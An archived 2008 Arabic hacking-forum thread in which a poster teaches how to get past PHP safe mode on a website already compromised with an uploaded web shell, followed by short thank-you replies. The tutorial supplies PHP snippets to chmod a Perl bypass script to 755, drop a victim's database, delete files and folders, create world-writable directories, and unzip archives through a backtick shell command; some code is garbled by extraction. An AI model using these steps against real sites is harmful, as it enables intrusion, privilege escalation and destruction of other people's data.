:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات (http://www.vbspiders.com/vb/f38.html)
-   -   استغلال الدوال بطريقة احترافية (http://www.vbspiders.com/vb/t3095.html)

Crazy Dz 10-25-2008 02:24 PM

استغلال الدوال بطريقة احترافية
 
1 مرفق
دخان
السلام عليكم ورحمة الله
الدرس كنت نزلتة من فترة كان المنتدى مقفول حبيت اضعة بالمنتدى
التحكم فى الملفات واعطاء تصاريح فى وضع السيف موود اون
الكثير منا عندما يستغل اى ثغرة تمكنة من رفع شيل يواجة السيف مود
الحاجز بينة وبين سطر الاوامر ويتطرق لتخطى السيف موود بعدة طريق
واساليب منها السى جى اى وشيل الــ r57 بلغة البيرل ولاكن تواجهنا مشكلة أعطاء تصريح 755 للملف وهنا السؤال ازاى ادى تصريح وانا مش قادر انفذ اوامر
الطريقة الاعتيادية لأعطاء تصريح لملف بيرل عن طريق سطر الاوامر
بالامر التالى chmod file.pl 755
طيب احنا ديماّ بنشوف الدوال الممنوعة ونسمع ان فى دوال خطر انها تفضل شغال ولابد ايقافها لكن مش كلنا نعرف استغلال الدوال دى فى الاختراق
اول حاجة جزء كبير منا بينفذ الاوامر وهوة فاهم فيدتها اية لكن
معندوش دراية خطوات تنفيذ الامر اية يعنى مثلاّ
الامر chmod file.pl 755
chmod هى دالة فى البى اتش بى
عن طرقها بندى تصريح لملف او فولدر وبنستغلها عن طريق سطر الاوامر فى حالة السيف موود اوف لكن فى حالة ان السيف موود اون
البعض منا يعتقد ان بذالك لا يمكن اعطاء اوامر او صلاحيات الخ..
الدرس اليوم استغلال الدوال بطريقة احترافية اتكلمت كتير تعالو نتطرق للمهم فى الدرس
=============
رفعنا شيل على اى موقع والسيف مود كان اون ومش قدرين ندى تصريح لملف البيرل علشان نتخطي ونفذ اوامر برحتنا
طيب ارفع ملف البيرل بتاعك فى اى فولدر فية تصريح او بنفس الطريقة اللى رفعت الشيل منها للموقع
تانى حاجة اعمل ملف تكست جديد وحط فية الكود دة

كود PHP:

<?  
chmod
("file.pl" 0755);  
?>

= اسم ملف التخطى بلغة البيرل الذى يحتاج لتصريح 755 لتخطي السيف مود
سيف الملف بأى اسم دوت php بعد كدة ارفعة للموقع بنفس طريقة رفع الشيل وافتحة من المتصفح واتوجة للشيل مرة اخرى ستجد ان الملف
اخد تصريح 755 ويمكنك استخدام ملف البيرل لتحقيق هدفك من الاختراق بعد اعطاء التصريح .
نكمل الدرس مع بعض الدوال
mysql_drop_db
وظيفة الدالة مسح قاعدة بيانات ودة مثال بسيط على الاستغلال
كود PHP:

?  
// الاتصال  
$connect mysql_connect("localhost""user""password");  
// التحقق من الاتصال   
if (!$connect) {  
echo 
"لم يتم الاتصال";  
exit;  
}  
// الداله التي قمنا بشرحها  
$drop mysql_drop_db("DBname");  
//التحقق من الحذف  
if ($drop) {  
echo 
"تم حذف قاعدة البيانات بنجاح";  
}  
else {  
echo 
"لم يتم حذف القاعدة";  
}  
?> 

ودى بعض الاستغلالات لبعض الدوال
كود PHP:

<?  
$filename 
"file.php"
$del unlink($filename);   
if (
$del) {  
echo 
"تم الحذف";  
}  
if (!
$del) {  
echo 
"لم يتم الحذف";  
}  
?>

كود PHP:

<?  
$foldername 
"antisec";  
$remove rmdir($foldername);  
if (
$remove) {  
echo 
"تم الحذف بنجاح !!";  
}  
if (!
$remove) {  
echo 
"لم يتم الحذف";  
}  
?>

كود PHP:

<?  
mkdir
("DirName" 0777);  
?>

يوجد دوال لفك الظغط

ودة كود لفك الظغط
كود PHP:

 <?php 
$zip 
zip_open("0.zip"); 
if (
$zip) { 
  while (
$zip_entry zip_read($zip)) { 
    
$fp fopen("zip/".zip_entry_name($zip_entry), "w"); 
    if (
zip_entry_open($zip$zip_entry"r")) { 
      
$buf zip_entry_read($zip_entryzip_entry_filesize 

($zip_entry)); 
      
fwrite($fp,"$buf"); 
      
zip_entry_close($zip_entry); 
      
fclose($fp); 
    } 
  } 
  
zip_close($zip); 

?>

كود PHP:

  <? 
$path 
'/home/user/public_html/'
$file '0.zip'

$path_parts pathinfo($file); 
$ext $path_parts[extension]; 

if(
$ext == 'gz'

    
$execute "gunzip -".$path.$file"
    `
$execute`; 

if(
$ext == 'zip'

    
$execute "unzip -u $file -d $path"
    `
$execute`; 

?>

zip.0

اسم الملف اللى عايز تفك ظغطة


ملف في المرفقات
موضوع منقول للأهمية



The Final Doom 10-25-2008 03:44 PM

بارك الله فيك حبيبي هـيوسكـآ دخان :d

●๋•ஜ ⋋MATRX H@!L⋌ ஜ●๋• 10-25-2008 05:49 PM

الف شكـر على الشرح المتعووب عليه

MrXRoMaNcE1 10-26-2008 10:54 PM

مشكككور هيسوكا ابداع كالعادة :d

Sniper_Mo 10-27-2008 08:47 PM

الف شكر اخي هيسوكا
على المعلومات القيمة

كنكشن 11-08-2008 04:36 PM

بارك الله فيك اخوي درس ممتاز ومميز

EXE 11-08-2008 05:42 PM

شكرا

PiNki 11-13-2008 04:31 AM

شكرا أخي
وصل إبداعك

Sho0Ter 11-21-2008 09:49 PM

ديما مبدع اخى هيسوكا

AbO-Ra3d 11-21-2008 09:56 PM

مشكور هيسوكا تسلم

PROF 11-21-2008 09:58 PM

مشكور اخي هيسوكا

PROF 11-21-2008 10:00 PM

مشكور اخي علي الموضوع
والله مقصرت

كارلوس 11-23-2008 03:03 AM

شكرا

العربي الصغير 11-24-2008 01:59 AM

تسلم يدك اخي شكراً جزيلاً لك

ThE g0bL!N 11-28-2008 01:23 PM

مشكووور هيسوكا

بطل


الساعة الآن 05:50 PM


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0